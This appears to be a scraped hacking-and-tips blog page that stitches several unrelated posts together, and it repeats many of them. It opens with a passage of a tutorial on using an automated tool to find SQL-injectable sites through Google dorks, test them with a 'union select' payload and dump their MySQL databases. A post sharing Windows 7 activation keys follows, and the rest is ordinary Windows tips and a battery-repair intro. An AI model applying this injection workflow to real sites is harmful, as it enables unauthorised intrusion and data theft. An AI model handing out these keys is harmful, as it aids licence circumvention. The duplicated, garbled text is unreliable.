Once u have it downloaded, extract the files and save it to a safe and secure folder and open the program.
Running the Scan:
Okay, well now you should have to program open and on the page you should see essentially a blank page, which at the top has a set of tabs:
- Scanner
- Num.Blind
- Dump MySQL
- ETC
Logically, if we are to have any chance of finding an exploit, we must first have our archive of possible, vulnerable sites. Hence, we come to the scanner tab.
This tab basically allows us to put in which criteria we want to scan for, and from what search engine we are going to do it from.
So for this example we are going to be searching for pages with SQL based queries. This is going to be our first search type:
Click Me
Here we have the following criteria:
- URL has ".php?newsid="
- From Google
- Timeout of 5 seconds (increase this if your internet is slow and vice versa)
- Results of 100pages
Once, we have our settings dialed right, we have to click "Start Scann SQLi" and away we go.
/* on a side note, you can change these values for different sites *\
Finding the Vulnerabilities:
Now comes the beauty of this program, the ability to inject chosen SQL into the archive to find a vulnerability.
- To get there click on the Vuln.SQLi tab
- Configure your settings to that of your internet standards.
- Also there is now a SQL injection drop down box, you can configure that to determine which SQL injection you want to produce the errors.
Now all you do is click Start Scan .
Understanding the program:
Now with all programs like these, it is essentially very easy to know the process of running the application, without actually knowing the theory of how the program is working.
When scanning for vulnerable sites, the program injects code into the database that will output an error.
A very common (and default) way of returning an error is to input something that is essentially incorrect.
A MYSQL page for example uses SQL queries to search a given database for given results. Now if we were to input an error after this, the database would return an error, and if the page is vulnerable, will also return that error.
In the SQL injection part of the Vuln.SQLi tab, we will find the default SQL injection as being:
CODE :
+ and+0 =1+ union+ select+
What this does is input corrupt data into the database and hope for a result.
CODE :
An example: www.vulnsite.com/index.php?id=0
Now this site has a PHP query for the variable id.
If we were to inject arbitrary code after it, we could possibly output and error and we would know we may exploit it.
So for hypothetical sake, we input the following:
CODE :
www.vulnsite.come/index.php?i d=0+ AND+0 =1+ UNION+ SELECT+
And the page outputs an error, we know we have a probable:
CODE :
mysql_num_rows() line 255
Exploitation:
Alright, now at this point, we should have a list of vulnerable sites, and we now need to see if they are exploitable.
So, once we have these pages we copy and paste our first page, and we go to the "Num.Blind Tab".
Now we should have pasted the page into the main form and click GET.
Page should look like this:
Click Me
Now part of this exploitation is searching through errors to see when they disappear or when the error no longer applies. So the program will guide us through this process with the GET PAGE button.
OK to get started I'll make easy I'll do it in steps:
- Put page into the top bar and click GET PAGE
- The page should come up with an error of some sort on the screen, make note of it and click GET PAGE again.
- Keep clicking GET PAGE until the error disappears....WE have our point of exploitation
- Now since the code is now true we must change:
CODE :
id=1 to id=-1
- Once it's edited click 'GET PAGE MANUALLY'
- If you have done everything right, the errors should disappear and we should get an output... An example is here... Click Me
Making the attack:
Now we have found an insecure site, we need to go to the DUMP MYSQL tab, and paste in the top form.
Once it is pasted, you must remember the output for which the database echoed...In my example it was '3', however this will change.
Saturday, August 22, 2009
Windows 7 Geniune activation keys
If you have downloaded Windows 7 beta version, you will probably need an activation to extend its period more than 30 days. Various tricks were published on some blogs to get activation key for free but the URL provided didn't work out. Microsoft is giving away some Windows Activation keys to its users so read on to know how to get it.
You can get unlimited number of Windows Seven genuine activation keys from microsoft immediately after reaching the provided URL.
Visit Microsoft TechNet .
Click on Sign In link on the top right corner, and login to Microsoft TechNet with a valid Windows Live ID. You can log in even if you're not a TechNet subscriber.
Copy and paste the following URL to the address bar of the web browser tab or window used to login to Microsoft TechNet:
32-bit Product Key : https://www.microsoft.com/be taexperience/scripts/gcs.aspx ?Product=tn-win7-32 - ww&LCID=1033
64-bit Product Key : https://www.microsoft.com/be taexperience/scripts/gcs.aspx ?Product=tn-win7-64 - ww&LCID=1033
After several retires, it wa observed that activation keys were repeated so if you are getting server error or some any other problem getting the key, use the following keys to activate Windows 7.
Windows 7 Beta 32-bit Product Key
6 JKV2 -QPB8 H-RQ893 -FW7 TM- PBJ73
TQ32 R-WFBDM-GFHD2 -QGVMH-3 P9GC
GG4 MQ-MGK72 -HVXFW-KHCRF- KW6KY
4 HJRK-X6 Q28 -HWRFY-WDYHJ- K8HDH
QXV7 B-K78 W2 -QGPR6-9 FWH9 - KGMM7
Windows 7 Beta 64-bit Product Key
7XRCQ-RPY28-YY9P8-R6HD8-84GH3JYDV8-H8 VXG-74RPT-6BJPB-X42V4482XP-6J9WR-4JXT3-VBPP6-FQF4MJYDV8-H8VXG-74RPT-6BJPB-X42V4D9RHV-JG8XC-C77H2-3YF6D-RYRJ9
You can get unlimited number of Windows Seven genuine activation keys from microsoft immediately after reaching the provided URL.
Visit Microsoft TechNet .
Click on Sign In link on the top right corner, and login to Microsoft TechNet with a valid Windows Live ID. You can log in even if you're not a TechNet subscriber.
Copy and paste the following URL to the address bar of the web browser tab or window used to login to Microsoft TechNet:
32-bit Product Key : https://www.microsoft.com/be taexperience/scripts/gcs.aspx ?Product=tn-win7-32 - ww&LCID=1033
64-bit Product Key : https://www.microsoft.com/be taexperience/scripts/gcs.aspx ?Product=tn-win7-64 - ww&LCID=1033
After several retires, it wa observed that activation keys were repeated so if you are getting server error or some any other problem getting the key, use the following keys to activate Windows 7.
Windows 7 Beta 32-bit Product Key
6 JKV2 -QPB8 H-RQ893 -FW7 TM- PBJ73
TQ32 R-WFBDM-GFHD2 -QGVMH-3 P9GC
GG4 MQ-MGK72 -HVXFW-KHCRF- KW6KY
4 HJRK-X6 Q28 -HWRFY-WDYHJ- K8HDH
QXV7 B-K78 W2 -QGPR6-9 FWH9 - KGMM7
Windows 7 Beta 64-bit Product Key
7XRCQ-RPY28-YY9P8-R6HD8-84GH3JYDV8-H8 VXG-74RPT-6BJPB-X42V4482XP-6J9WR-4JXT3-VBPP6-FQF4MJYDV8-H8VXG-74RPT-6BJPB-X42V4D9RHV-JG8XC-C77H2-3YF6D-RYRJ9
Top 20 Windows 7 tips,tricks,tweaks and secrets [part 2]
Yes its part 2...Lets continue
10) Right-click everything :
Right-click an empty part of the desktop, for instance, and you'll find a menu entry to set your screen resolution. No need to go browsing through the display settings any more. Right-click the Explorer icon on the taskbar for speedy access to common system folders: Documents, Pictures, the Windows folder, and more. And if you don't plan on using Internet Explorer then you probably won't want its icon permanently displayed on the taskbar. Right- click the icon, select " Unpin this program from the taskbar ", then go install Firefox, instead.
11)Hide Windows Live Message Icon: Windows Live Messenger is front and central on the taskbar, where you can easily change status and quickly send an IM to someone:
To hide it from task bar just close Windows Live Messenger, edit the shortcut properties and set the application to run in Windows Vista compatibility mode.Done!
12)Faster video access: Windows 7 now lets you add Videos folder to the Start menu. Just right-click the Start orb, click Properties > Start Menu > Customize , and set the Videos option to " Display as a link ". If you've a TV tuner that works with Windows 7 then you'll appreciate the new option to display the Recorded TV folder on the Start menu, too.
13)Create and Run Web Searches: The Windows 7 search tool can now be easily extended to search online resources, just as long as someone creates an appropriate search connector. To add Flickr support, say Something like [ http://crackinhack.blogspot.com/flickrsearch ], click Download the Connector, choose the Open option and watch as it's downloaded (the file is tiny, it'll only take a moment). A " Flickr Search " option will be added to your Searches folder, and you'll be able to search images from your desktop.
14)User Account Control(UAC) Customization:
Windows Vista's User Account Control was a good idea in practice, but poor implementation put many people off - it raised far too many alerts. Fortunately Windows 7 displays less warnings by default, and lets you further fine-tune UAC to suit your preferred balance between security and a pop-up free life ( Start > Control Panel > Change User Account Control Settings ).
15) Pin Your Favorite Folders: If you're always working in the same four or five folders, you can quickly pin them with the Explorer icon on the taskbar. Hold the right-click button down and drag the folder to the taskbar, and it will be automatically pinned in the Explorer Jump List.
16)Taskbar Fix: The new Windows 7 taskbar acts as one big quick launch toolbar that can hold whatever program shortcuts you like (just right-click one and select Pin To Taskbar). And that's fine, except it does consume a little more screen real estate than we'd like. Shrink it to a more manageable size by right-clicking the Start orb, then Properties > Taskbar > Use small icons.If you've no problem with the taskbar size, but find the way it combines icons to be confusing, then right-click the Start orb, click Properties > Taskbar and set "Taskbar buttons" to "Combine when taskbar is full" for a more familiar XP and Vista-style look.
17)Installing from USB Stick: You can Boot and install Windows 7 from USB. Which i had explained it in my previous post where you can read it Install Windows 7 from USB/Flash Drive .
18)Desktop Peeking:
While you're on the taskbar, it's worth noting a few subtleties. You've probably seen the small rectangle in the bottom right hand corner: this is the feature we call " Aero Peek ", which enables you to see any gadgets or icons you've got on your desktop. I wanted to note that there's a keyboard shortcut that does the same thing - just press Win+Space .
19)BitLocker and BitLocker to Go:
In Windows 7, core BitLocker Drive Encryption functionality is enhanced to deliver an improved experience for end users- from simple enhancements such as the ability to right-click on a drive to enable BitLocker protection to the automatic creation of the required hidden boot partition. Learn about these enhancements and the new BitLocker To Go, which gives system administrators control over how removable storage devices can be used and the strength of protection required.
20)Deployment Image Servicing and Management(DISM): Explore Deployment Image Servicing and Management (DISM), a new command-line tool for Windows 7 and Windows Server 2008 R2. DISM consolidates the core image management functions of multiple tools found in the Windows Automated Installation Kit (AIK) and enables users to view components of an applied or mounted operating system image and add or remove packages, software updates, and drivers.
10) Right-click everything :
Right-click an empty part of the desktop, for instance, and you'll find a menu entry to set your screen resolution. No need to go browsing through the display settings any more. Right-click the Explorer icon on the taskbar for speedy access to common system folders: Documents, Pictures, the Windows folder, and more. And if you don't plan on using Internet Explorer then you probably won't want its icon permanently displayed on the taskbar. Right- click the icon, select " Unpin this program from the taskbar ", then go install Firefox, instead.
11)Hide Windows Live Message Icon: Windows Live Messenger is front and central on the taskbar, where you can easily change status and quickly send an IM to someone:
To hide it from task bar just close Windows Live Messenger, edit the shortcut properties and set the application to run in Windows Vista compatibility mode.Done!
12)Faster video access: Windows 7 now lets you add Videos folder to the Start menu. Just right-click the Start orb, click Properties > Start Menu > Customize , and set the Videos option to " Display as a link ". If you've a TV tuner that works with Windows 7 then you'll appreciate the new option to display the Recorded TV folder on the Start menu, too.
13)Create and Run Web Searches: The Windows 7 search tool can now be easily extended to search online resources, just as long as someone creates an appropriate search connector. To add Flickr support, say Something like [ http://crackinhack.blogspot.com/flickrsearch ], click Download the Connector, choose the Open option and watch as it's downloaded (the file is tiny, it'll only take a moment). A " Flickr Search " option will be added to your Searches folder, and you'll be able to search images from your desktop.
14)User Account Control(UAC) Customization:
Windows Vista's User Account Control was a good idea in practice, but poor implementation put many people off - it raised far too many alerts. Fortunately Windows 7 displays less warnings by default, and lets you further fine-tune UAC to suit your preferred balance between security and a pop-up free life ( Start > Control Panel > Change User Account Control Settings ).
15) Pin Your Favorite Folders: If you're always working in the same four or five folders, you can quickly pin them with the Explorer icon on the taskbar. Hold the right-click button down and drag the folder to the taskbar, and it will be automatically pinned in the Explorer Jump List.
16)Taskbar Fix: The new Windows 7 taskbar acts as one big quick launch toolbar that can hold whatever program shortcuts you like (just right-click one and select Pin To Taskbar). And that's fine, except it does consume a little more screen real estate than we'd like. Shrink it to a more manageable size by right-clicking the Start orb, then Properties > Taskbar > Use small icons.If you've no problem with the taskbar size, but find the way it combines icons to be confusing, then right-click the Start orb, click Properties > Taskbar and set "Taskbar buttons" to "Combine when taskbar is full" for a more familiar XP and Vista-style look.
17)Installing from USB Stick: You can Boot and install Windows 7 from USB. Which i had explained it in my previous post where you can read it Install Windows 7 from USB/Flash Drive .
18)Desktop Peeking:
While you're on the taskbar, it's worth noting a few subtleties. You've probably seen the small rectangle in the bottom right hand corner: this is the feature we call " Aero Peek ", which enables you to see any gadgets or icons you've got on your desktop. I wanted to note that there's a keyboard shortcut that does the same thing - just press Win+Space .
19)BitLocker and BitLocker to Go:
In Windows 7, core BitLocker Drive Encryption functionality is enhanced to deliver an improved experience for end users- from simple enhancements such as the ability to right-click on a drive to enable BitLocker protection to the automatic creation of the required hidden boot partition. Learn about these enhancements and the new BitLocker To Go, which gives system administrators control over how removable storage devices can be used and the strength of protection required.
20)Deployment Image Servicing and Management(DISM): Explore Deployment Image Servicing and Management (DISM), a new command-line tool for Windows 7 and Windows Server 2008 R2. DISM consolidates the core image management functions of multiple tools found in the Windows Automated Installation Kit (AIK) and enables users to view components of an applied or mounted operating system image and add or remove packages, software updates, and drivers.
Top 20 Windows 7 tips,tricks,tweaks and secrets [part 1]
The Latest OS release Windows 7 is very much cool and faster than all of the previous windows versions.
Like the Previous Windows OS there are many secrets,tips,tricks,tweaks and hacks but the top 20 secrets which we 300allpctips recommend to 7 users are as follows.
1)Fix the Clutter:
Remove all background windows while running/using a document by just pressing WIN+HOME keepong the window while ur in the current position,to restore the background windows press WIN+HOME again.
2)Problem Steps Recorder(PSR):
PSR is a great little tool in Windows 7 used for recording the steps to reproduce a problem in the computer. The captured data is stored in a MHTML document which is enclosed in a zip file. You can send the zip file to someone else who can help you fix the problem.
The Problem Steps Recorder provides a simple screen capture tool that enables you to record a series of actions. Once you hit "record", it tracks your mouse and keyboard and captures screenshots with any comments you choose to associate alongside them. Once you stop recording, it saves the whole thing to a ZIP file, containing an HTML-based "slide show" of the steps. It's a really neat little tool and I can't wait for it to become ubiquitous on every desktop! The program is called psr.exe ; you can also search for it from Control Panel under "Record steps to reproduce a problem".
3)Running with Elevated Rights: Want to quickly launch a taskbar-docked application as an administrator? It's easy - hold down Ctrl+Shift while you click on the icon, and you'll immediately launch it with full administrative rights (assuming your account has the necessary permissions, of course!)
4) Keyboard shortcuts :
Windows 7 has several useful new keyboard shortcuts.
Alt+P ->Display/ hide the Explorer preview pane
Windows Logo+G ->Display gadgets in front of other windows
Windows Logo++ (plus key) - >Zoom in, where appropriate
Windows Logo+- (minus key) - >Zoom out, where appropriate
Windows Logo+Up ->Maximise the current window
Windows Logo+Down ->Minimise the current window
Windows Logo+Left ->Snap to the left hand side of the screen
Windows Logo+Right ->Snap to the right hand side of the screen
Windows Logo+Home ->Minimise/ restore everything except the current window
Shift + Click on icon ->Open a new instance
Middle click on icon ->Open a new instance
Ctrl + Shift + Click on icon - >Open a new instance with Admin privileges
Shift + Right-click on icon - >Show window menu (Restore / Minimize / Move / etc) Note: Normally you can just right-click on the window thumbnail to get this menu
Shift + Right-click on grouped icon ->Menu with Restore All / Minimize All / Close All, etc.
Ctrl + Click on grouped icon - >Cycle between the windows (or tabs) in the group
5) Display your drives :
My Computer in Windows 7 hides drives like memory card readers etc.. if they're empty.We think it's helpfull and an improvement, but if you disagree then launch Explorer, click Tools > Folder Options > View and clear "Hide empty drives in the computer folder" to get your empty drives back.
6) Burn images: ISO images can be burned into CD/DVD Drives in windows 7,To burn an ISO Just double-click the ISO image, choose the drive with the blank disc, click Burn and watch as your disc is created.
7)Windows Movie Maker: Windows 7 doesn't include a movie editing tool - it's been moved to the Windows Live Essentials package, along with Photo Gallery, Mail and Messenger. Unfortunately, Windows Live Movie Maker is currently still in an early beta that is missing most of the old feature set.best solution for this is to use Windows Movie Maker 2.6 (which is essentially the same as the most recent update to the Windows XP version). It's missing the full set of effects and transitions from the Windows Vista version, and doesn't support HD editing, but it's pretty functional for the typical usage scenario of home movie editing.
Download Windows Movie Maker 2.6 from here:
http://microsoft.com/download s/details.aspx?FamilyID=d6 ba 5972-328 e-4 df7-8 f9 d-068 fc0 f80cfc
8) Protect your MP3 files :
Along with many good new features, the Windows 7 beta also includes a nasty bug. Its version of Windows Media Player 12 will automatically add missing metadata, including album art, and this can overwrite the first few seconds of the file. Oops. Installing an update may fix this (from http://300 allpctips.blogspot.com/2009 /01 /kb 961367 -windows-7 -beta- wmp-12-corrupt.html ) but it would be a very good idea to back up your MP3 files, too.
9)System Repair Disc: There are always in Bad times when you're in a really bad spot - you can't boot up properly, and what you really want is something you can quickly use to get at a command prompt so you can properly troubleshoot. Windows 7 now includes the ability to create a system repair disc, which is essentially a CD- bootable version of Windows that just includes the command prompt and a suite of system tools. Just type "system repair disc" in the Start Menu search box, and you'll be led to the utility.
Read part 2 to continue
Like the Previous Windows OS there are many secrets,tips,tricks,tweaks and hacks but the top 20 secrets which we 300allpctips recommend to 7 users are as follows.
1)Fix the Clutter:
Remove all background windows while running/using a document by just pressing WIN+HOME keepong the window while ur in the current position,to restore the background windows press WIN+HOME again.
2)Problem Steps Recorder(PSR):
PSR is a great little tool in Windows 7 used for recording the steps to reproduce a problem in the computer. The captured data is stored in a MHTML document which is enclosed in a zip file. You can send the zip file to someone else who can help you fix the problem.
The Problem Steps Recorder provides a simple screen capture tool that enables you to record a series of actions. Once you hit "record", it tracks your mouse and keyboard and captures screenshots with any comments you choose to associate alongside them. Once you stop recording, it saves the whole thing to a ZIP file, containing an HTML-based "slide show" of the steps. It's a really neat little tool and I can't wait for it to become ubiquitous on every desktop! The program is called psr.exe ; you can also search for it from Control Panel under "Record steps to reproduce a problem".
3)Running with Elevated Rights: Want to quickly launch a taskbar-docked application as an administrator? It's easy - hold down Ctrl+Shift while you click on the icon, and you'll immediately launch it with full administrative rights (assuming your account has the necessary permissions, of course!)
4) Keyboard shortcuts :
Windows 7 has several useful new keyboard shortcuts.
Alt+P ->Display/ hide the Explorer preview pane
Windows Logo+G ->Display gadgets in front of other windows
Windows Logo++ (plus key) - >Zoom in, where appropriate
Windows Logo+- (minus key) - >Zoom out, where appropriate
Windows Logo+Up ->Maximise the current window
Windows Logo+Down ->Minimise the current window
Windows Logo+Left ->Snap to the left hand side of the screen
Windows Logo+Right ->Snap to the right hand side of the screen
Windows Logo+Home ->Minimise/ restore everything except the current window
Shift + Click on icon ->Open a new instance
Middle click on icon ->Open a new instance
Ctrl + Shift + Click on icon - >Open a new instance with Admin privileges
Shift + Right-click on icon - >Show window menu (Restore / Minimize / Move / etc) Note: Normally you can just right-click on the window thumbnail to get this menu
Shift + Right-click on grouped icon ->Menu with Restore All / Minimize All / Close All, etc.
Ctrl + Click on grouped icon - >Cycle between the windows (or tabs) in the group
5) Display your drives :
My Computer in Windows 7 hides drives like memory card readers etc.. if they're empty.We think it's helpfull and an improvement, but if you disagree then launch Explorer, click Tools > Folder Options > View and clear "Hide empty drives in the computer folder" to get your empty drives back.
6) Burn images: ISO images can be burned into CD/DVD Drives in windows 7,To burn an ISO Just double-click the ISO image, choose the drive with the blank disc, click Burn and watch as your disc is created.
7)Windows Movie Maker: Windows 7 doesn't include a movie editing tool - it's been moved to the Windows Live Essentials package, along with Photo Gallery, Mail and Messenger. Unfortunately, Windows Live Movie Maker is currently still in an early beta that is missing most of the old feature set.best solution for this is to use Windows Movie Maker 2.6 (which is essentially the same as the most recent update to the Windows XP version). It's missing the full set of effects and transitions from the Windows Vista version, and doesn't support HD editing, but it's pretty functional for the typical usage scenario of home movie editing.
Download Windows Movie Maker 2.6 from here:
http://microsoft.com/download s/details.aspx?FamilyID=d6 ba 5972-328 e-4 df7-8 f9 d-068 fc0 f80cfc
8) Protect your MP3 files :
Along with many good new features, the Windows 7 beta also includes a nasty bug. Its version of Windows Media Player 12 will automatically add missing metadata, including album art, and this can overwrite the first few seconds of the file. Oops. Installing an update may fix this (from http://300 allpctips.blogspot.com/2009 /01 /kb 961367 -windows-7 -beta- wmp-12-corrupt.html ) but it would be a very good idea to back up your MP3 files, too.
9)System Repair Disc: There are always in Bad times when you're in a really bad spot - you can't boot up properly, and what you really want is something you can quickly use to get at a command prompt so you can properly troubleshoot. Windows 7 now includes the ability to create a system repair disc, which is essentially a CD- bootable version of Windows that just includes the command prompt and a suite of system tools. Just type "system repair disc" in the Start Menu search box, and you'll be led to the utility.
Read part 2 to continue
More user options with User Account Control in Windows 7 Beta
User Account Control settings In the Windows 7 Control Panel, you can find a new tool called User Account Control Settings that is accessible from both the Action Center and User Accounts. (The Action Center is essentially a combination of Vista's Security Center and a new Maintenance interface that includes backup and troubleshooting tools.) When you access User Account Control Settings, as shown in Figure A , you'll see that the main control is a slider bar that allows you to choose one of four different UAC levels. Let's begin by looking at the default setting.
Figure A
The new Windows 7 User Account Control Settings allow you to choose one of four different UAC levels.
The Default level
As you can see here, the Default setting is on the second level down. At this level, UAC notifications and the Secure Desktop will appear only when programs try to make changes to your computer that require administrator-level permissions. You will not see UAC notifications when you try to make changes to Windows settings that require administrator-level permissions. This setting provides a medium level of security and will more than likely be satisfactory to most users. For example, at this level I can open and run such things as Computer Management or Disk Defragmenter without encountering a UAC. However, when I launched the AVG antivirus and the installation program launched, Windows 7 displayed the UAC notification shown in Figure B , and the Secure Desktop locked down the system - the desktop dimmed and was inaccessible.
Figure B
At the new default UAC level, notifications will appear when programs try to make any changes to your computer that require administrator-level permissions.
The Always Notify level
The first level is labeled Always Notify and is shown in Figure C . Of course this level represents the default setting used in Windows Vista. At this level, UAC notifications and the Secure Desktop will appear when either programs or you try to make changes to your computer that require administrator-level permissions.
Figure C
The Always Notify level is like the default UAC in Windows Vista.
The Notification-Only level
The third level, as shown in Figure D , is called Notification- Only and works similarly to the default level except that the Secure Desktop is disabled. In other words, when programs try to make changes to your computer that require administrator-level permissions, UAC notifications will appear, but the desktop will not be locked down - no dimming will occur and the desktop will be accessible. You will not see UAC notifications when you try to make changes to Windows settings that require administrator-level permissions.
Figure D
This level disables the Secure Desktop.
The Never Notify level
At the fourth level setting, designated as Never Notify, as shown in Figure E , UAC is completely disabled. You will never receive UAC notifications nor encounter the Secure Desktop.
Figure E
You can disable UAC completely.
Administrator account needed
If you are logged on with a Standard user account and access the User Account Control Settings interface, you will only be able to select and enable the Always Notify level. If you select either the third or fourth levels, you'll see a warning message at the bottom of the window, as shown in Figure F . You'll also notice that the OK button is not accessible.
Figure F
When logged on with a Standard user account, you cannot select the third or fourth levels in User Account Control Settings.
What's your take?
If you've used Vista, chances are that this is the type of UAC that you've always wanted. What's your take on UAC?
Figure A
The new Windows 7 User Account Control Settings allow you to choose one of four different UAC levels.
The Default level
As you can see here, the Default setting is on the second level down. At this level, UAC notifications and the Secure Desktop will appear only when programs try to make changes to your computer that require administrator-level permissions. You will not see UAC notifications when you try to make changes to Windows settings that require administrator-level permissions. This setting provides a medium level of security and will more than likely be satisfactory to most users. For example, at this level I can open and run such things as Computer Management or Disk Defragmenter without encountering a UAC. However, when I launched the AVG antivirus and the installation program launched, Windows 7 displayed the UAC notification shown in Figure B , and the Secure Desktop locked down the system - the desktop dimmed and was inaccessible.
Figure B
At the new default UAC level, notifications will appear when programs try to make any changes to your computer that require administrator-level permissions.
The Always Notify level
The first level is labeled Always Notify and is shown in Figure C . Of course this level represents the default setting used in Windows Vista. At this level, UAC notifications and the Secure Desktop will appear when either programs or you try to make changes to your computer that require administrator-level permissions.
Figure C
The Always Notify level is like the default UAC in Windows Vista.
The Notification-Only level
The third level, as shown in Figure D , is called Notification- Only and works similarly to the default level except that the Secure Desktop is disabled. In other words, when programs try to make changes to your computer that require administrator-level permissions, UAC notifications will appear, but the desktop will not be locked down - no dimming will occur and the desktop will be accessible. You will not see UAC notifications when you try to make changes to Windows settings that require administrator-level permissions.
Figure D
This level disables the Secure Desktop.
The Never Notify level
At the fourth level setting, designated as Never Notify, as shown in Figure E , UAC is completely disabled. You will never receive UAC notifications nor encounter the Secure Desktop.
Figure E
You can disable UAC completely.
Administrator account needed
If you are logged on with a Standard user account and access the User Account Control Settings interface, you will only be able to select and enable the Always Notify level. If you select either the third or fourth levels, you'll see a warning message at the bottom of the window, as shown in Figure F . You'll also notice that the OK button is not accessible.
Figure F
When logged on with a Standard user account, you cannot select the third or fourth levels in User Account Control Settings.
What's your take?
If you've used Vista, chances are that this is the type of UAC that you've always wanted. What's your take on UAC?
Showing Super Hidden Files In Windows Vista
Windows Vista Tips To show Windows Vista "super hidden" files, that is, those files that are normally hidden from the user, you'll need to accesss the registry editor. To turn on (or off) super hidden files: (make sure you backup the registry before making changes)
Click the Start Button , type "regedit" (Registry Editor) in the search box, and press Enter
Click Continue to get past the User Account Control hurdle
On the left panel, double-click to navigate to the key:
HKEY_CURRENT_USER\Software \Microsoft\Windows\CurrentVe rsion\Explorer\Advanced
On the right panel, double-click on Superhidden
In the Value Data box, change the value to " 1 "
Click OK
Exit the Registry Editor
Restart your machine for the changes to take effect
Click the Start Button , type "regedit" (Registry Editor) in the search box, and press Enter
Click Continue to get past the User Account Control hurdle
On the left panel, double-click to navigate to the key:
HKEY_CURRENT_USER\Software \Microsoft\Windows\CurrentVe rsion\Explorer\Advanced
On the right panel, double-click on Superhidden
In the Value Data box, change the value to " 1 "
Click OK
Exit the Registry Editor
Restart your machine for the changes to take effect
Cleanup Files After Upgrading to SP1 in vista
During the upgrade to SP1, Vista makes a backup of all the files it is upgrading. This is in case you want to uninstall SP1 for any reason.
If you have no problems with SP1 and want to remove the backup files , run: vsp1cln.exe You will be prompted if you want to remove the files. Simply press the Y key.
If you have no problems with SP1 and want to remove the backup files , run: vsp1cln.exe You will be prompted if you want to remove the files. Simply press the Y key.
Change Windows Vista Power Button Setting to shut down
In vista you would find the default action for the power button on the start menu is 'Sleep'. It simply puts the computer in low power staterather than shutting it all together.But this may not be necessary or useful for everyone.You may want to the system to shut down directly on clicking the power button rather than making it Sleep.To change this setting simply follow the following steps below-1 . click 'StartControl Panel' 2 . In the control panel, double click the 'Power Options ' window. 3 . click the 'Change Plan Settings ' link below the Power saver radio button. 4. click the 'Change Advanced power settings link 5 . expand the 'Power Buttons and lid ' setting. 6 . Expand the Power button action ' and 'Start menu power button ' options. 7. Click 'Setting' and select the 'Shut down' option from the drop down list.
8. Once done click 'Ok' Now your system will get 'shut down' instead of 'Sleep' when you ll press power Button.
8. Once done click 'Ok' Now your system will get 'shut down' instead of 'Sleep' when you ll press power Button.
Challenge - Customize Notification Icons in vista
Suppose some of the icons in your Notification Area (Systray) are annoying you and consequently you want to hide them. My challenge is can you find the Properties sheet for the Notification Area? One trap is to click too far to the left and select the Properties sheet for the Taskbar, another trap is click on the actual speaker icon instead of on a vacant black area.Once you spring up the menu shown to the right, you can select Customize Notification Icons directly from the short cut menu. Alternatively, you can select Properties and then Customize Icons. To fulfil my objective, we can now focus on the 'Behavior' Column and choose to 'Hide'. Repeat this last sequence for each of the Notification Icons that annoy you.
Remove linux from your system safely and restoring mbr
First of all you need to know where your Linux OS is installed to. that is what drive it is currently living on. Bear in mind that Linux formats the drive as HFS rather than Fat/Fat32 or NTFS. ( These are the file systems used by various Operating Systems).
So HFS Partitions are not seen by windows, so its hidden.
To remove the partitions of Linux in WindowsXP go to your 'Control panel' > Admistrative Tools > Computer Managment
Open 'Disk Management' and you will see your Linux drives recognised as 'Unknown Partition' plus the status of the drive. Bearing in mind you know what partition and disk you installed to it will be easier to recognise as the drive/partition where you had installed it to.
Once you have identifed the drives, 'right-Click' on the drive/partiton and select 'Delete Logical Drive'
Once you have followed this through, you will now have free space.
This next part is very important. Once you have formatted the drive, re format it as your required file system type. either Fat32 or NTFS. Now the important part is coming up !
Fixing your Master Boot Record to make Windows Bootable again.
Have a Windows Boot disk with all the basic DOS Commands loaded on to the disk. A standard Windows 98/Me Boot Disk will work too.
Type in the DOS command :
e.g, from your C:\
fdisk /mbr
Or use your Windows XP run the recovery console, pick which xp install you would like to boot in to (usually you will pick #1)
then type: fixmbr. Answer Y to the dialoge.
Your master boot record will now be restored and Windows XP will be bootable once again. Your System will be restored with your original boot loader that you got with Windows XP.
So HFS Partitions are not seen by windows, so its hidden.
To remove the partitions of Linux in WindowsXP go to your 'Control panel' > Admistrative Tools > Computer Managment
Open 'Disk Management' and you will see your Linux drives recognised as 'Unknown Partition' plus the status of the drive. Bearing in mind you know what partition and disk you installed to it will be easier to recognise as the drive/partition where you had installed it to.
Once you have identifed the drives, 'right-Click' on the drive/partiton and select 'Delete Logical Drive'
Once you have followed this through, you will now have free space.
This next part is very important. Once you have formatted the drive, re format it as your required file system type. either Fat32 or NTFS. Now the important part is coming up !
Fixing your Master Boot Record to make Windows Bootable again.
Have a Windows Boot disk with all the basic DOS Commands loaded on to the disk. A standard Windows 98/Me Boot Disk will work too.
Type in the DOS command :
e.g, from your C:\
fdisk /mbr
Or use your Windows XP run the recovery console, pick which xp install you would like to boot in to (usually you will pick #1)
then type: fixmbr. Answer Y to the dialoge.
Your master boot record will now be restored and Windows XP will be bootable once again. Your System will be restored with your original boot loader that you got with Windows XP.
Repair a Laptop Battery
DISCLAIMER:
crackinhack.blogspot.com nor I will be responsible in any way if this article leads you to do something that causes harm in any way, either to a person or property. Thus they nor I will be liable if such an event happens, and by proceeding with the instructions listed in this article you verify that you understand these risks and accept these terms.
Ok so I'm writing another article, because as I have said before, I have no life. So anyway, because I've been procrastinating studying for finals I have been doing a lot more with my computers lately
The last thing I did was to rebuild my laptop battery, and while you might not call it "hacking" I saved myself about $100 on a new laptop battery, and considering we all use computers here, I thought this might be helpfull to a lot of people out there.
What this article will teach you is if your laptop battery is not holding a charge, how to repair it and make it like new again, for either free or a lot cheaper than buying a new one
Note: If you're not experienced with soldering, and electricity you might not want to attempt this because if you do it wrong bad things can happen. I feel that I should list some of the things that can go wrong to try and deter the unexperienced
1. The battery can explode
2. The battery can catch on fire
3. Battery acid can leak on you
4. You can short out your laptop
And thats just to name a few
If you are experienced with things like this (it doesnt even have to be to this level, but I mean expereinced with soldering, and working with batteries and understand a little on how electricity works) as well as you take the proper precautions, this process is very simple. As I am nowhere near an electrical engineer and I was able to do it relativly without a problem. However if you are not experienced, or do not feel confident on this at all I can not stress enough that this project can go bad very quickly and why I felt it necissary to write the above disclamer.
Note: This process involves cutting open your laptop battery, now while some batteries can be re-closed, others can not, and would either have to be glued or taped, so if you dont like this possibility, dont try this
Note2: ok this is the last note in the intro, i have been told that on some newer laptop betteries there are anti-tamper devices, if a battery is disconnected from the unit it will no longer work. This method is still valid in this case, but its much harder, because you must always have all the sets of cells together
************************ *********************What you will need:
1. Old laptop battery you wish to fix
2. Knife/Razor blade
3. Soldering Iron (I prefer a soldering gun)& Solder (if not using an
expensive soldering iron go for low heat solder)
4. New battery cells/another working laptop battery with the same cells that you dont need any more
5. Glue/Tape (I recommend gorilla glue, because it is really strong)
6. Tin strips (or any other metal both conductive and solder can stick to)
7. Multi-Meter (The cells are not always clearly labeled which side is
positive and negative, this will help tell, while there are tricks to do this without a multimeter for the $10 I found it for in the store I thought it well worth it)
************************ *********************Getting Started:
